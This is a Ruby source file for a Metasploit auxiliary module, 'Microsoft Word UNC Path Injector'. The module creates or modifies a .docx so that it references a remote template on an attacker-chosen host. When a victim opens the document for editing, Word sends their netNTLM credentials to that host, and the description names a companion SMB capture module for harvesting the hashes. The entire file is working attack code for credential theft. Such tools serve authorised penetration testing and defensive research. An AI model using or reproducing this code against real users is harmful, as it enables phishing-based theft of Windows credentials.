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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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#
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# Gems
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#
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# for extracting files
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require 'zip'
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#
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# Project
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#
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# for creating files
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require 'rex/zip'
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::FILEFORMAT
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Microsoft Word UNC Path Injector',
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      'Description'    => %q{
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          This module modifies a .docx file that will, upon opening, submit stored
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        netNTLM credentials to a remote host. It can also create an empty docx file. If
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        emailed the receiver needs to put the document in editing mode before the remote
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        server will be contacted. Preview and read-only mode do not work. Verified to work
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        with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
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        auxiliary/server/capture/smb module can be used.
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      },
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          [ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
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        ],
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      'Author'         =>
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        [
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          'SphaZ <cyberphaz[at]gmail.com>'
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        ]
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    ))
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    register_options(
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      [
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        OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']),
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        OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),
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        OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),
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        OptString.new('DOCAUTHOR',[false,'Document author for empty document.']),
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      ])
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  end
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  # here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
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  def make_new_file
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    metadata_file_data = ""
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    metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
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    metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
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    metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
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    metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
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    metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
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    metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
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    metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
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    metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
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    # where to find the skeleton files required for creating an empty document
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    data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
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    zip_data = {}
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    # add skeleton files
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    vprint_status("Adding skeleton files from #{data_dir}")
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    Dir["#{data_dir}/**/**"].each do |file|
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      if not File.directory?(file)
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        zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
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      end
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    end
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    # add on-the-fly created documents
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    vprint_status("Adding injected files")
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    zip_data["docProps/core.xml"] = metadata_file_data
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    zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
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    # add the otherwise skipped "hidden" file
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    file = "#{data_dir}/_rels/.rels"
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    zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
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    # and lets create the file
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    zip_docx(zip_data)
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  end
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  # here we inject an UNC path into an existing file, and store the injected file in FILENAME
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  def manipulate_file
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    ref = "<w:attachedTemplate r:id=\"rId1\"/>"
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    if not File.stat(datastore['SOURCE']).readable?
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      print_error("Not enough rights to read the file. Aborting.")
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      return nil
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    end
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    # lets extract our docx and store it in memory
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    zip_data = unzip_docx
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    # file to check for reference file we need
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    file_content = zip_data["word/settings.xml"]
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    if file_content.nil?
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      print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
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      return nil
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    end
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    # if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
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    if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
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      vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
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      zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
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      # lets zip the end result
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      zip_docx(zip_data)
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    else
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      # now insert the reference to the file that will enable our malicious entry
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      insert_one = file_content.index("<w:defaultTabStop")
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      if insert_one.nil?
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        insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
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        if not insert_two.nil?
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          vprint_status("HypenationZone found, we use this for insertion.")
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          file_content.insert(insert_two, ref )
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        end
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      else
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        vprint_status("DefaultTabStop found, we use this for insertion.")
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        file_content.insert(insert_one, ref )
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      end
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      if insert_one.nil? && insert_two.nil?
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        print_error("Cannot find insert point for reference into settings.xml")
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        return nil
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      end
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      # update the files that contain the injection and reference
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      zip_data["word/settings.xml"] = file_content
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      zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
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      # lets zip the file
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      zip_docx(zip_data)
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    end
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    return 0
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  end
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  # making the actual docx from the hash
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  def zip_docx(zip_data)
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    docx = Rex::Zip::Archive.new
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    zip_data.each_pair do |k,v|
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      docx.add_file(k,v)
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    end
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    file_create(docx.pack)
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  end
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  # unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
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  def unzip_docx
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    # Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
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    vprint_status("Extracting #{datastore['SOURCE']} into memory.")
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    # we read it all into memory
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    zip_data = Hash.new
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    begin
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      Zip::File.open(datastore['SOURCE'])  do |filezip|
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        filezip.each do |entry|
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          zip_data[entry.name] = filezip.read(entry)
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        end
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      end
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    rescue Zip::Error => e
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      print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
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      return nil
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    end
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    return zip_data
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  end
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  def run
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    # we need this in make_new_file and manipulate_file
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    @rels_file_data = ""
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    @rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
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    @rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
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    @rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
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    @rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
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    if "#{datastore['SOURCE']}" == ""
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      # make an empty file
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      print_status("Creating empty document that points to #{datastore['LHOST']}.")
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      make_new_file
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    else
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      # extract the word/settings.xml and edit in the reference we need
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      print_status("Injecting UNC path into existing document.")
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      if manipulate_file.nil?
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        print_error("Failed to create a document from #{datastore['SOURCE']}.")
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      else
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        print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
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      end
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    end
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  end
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end
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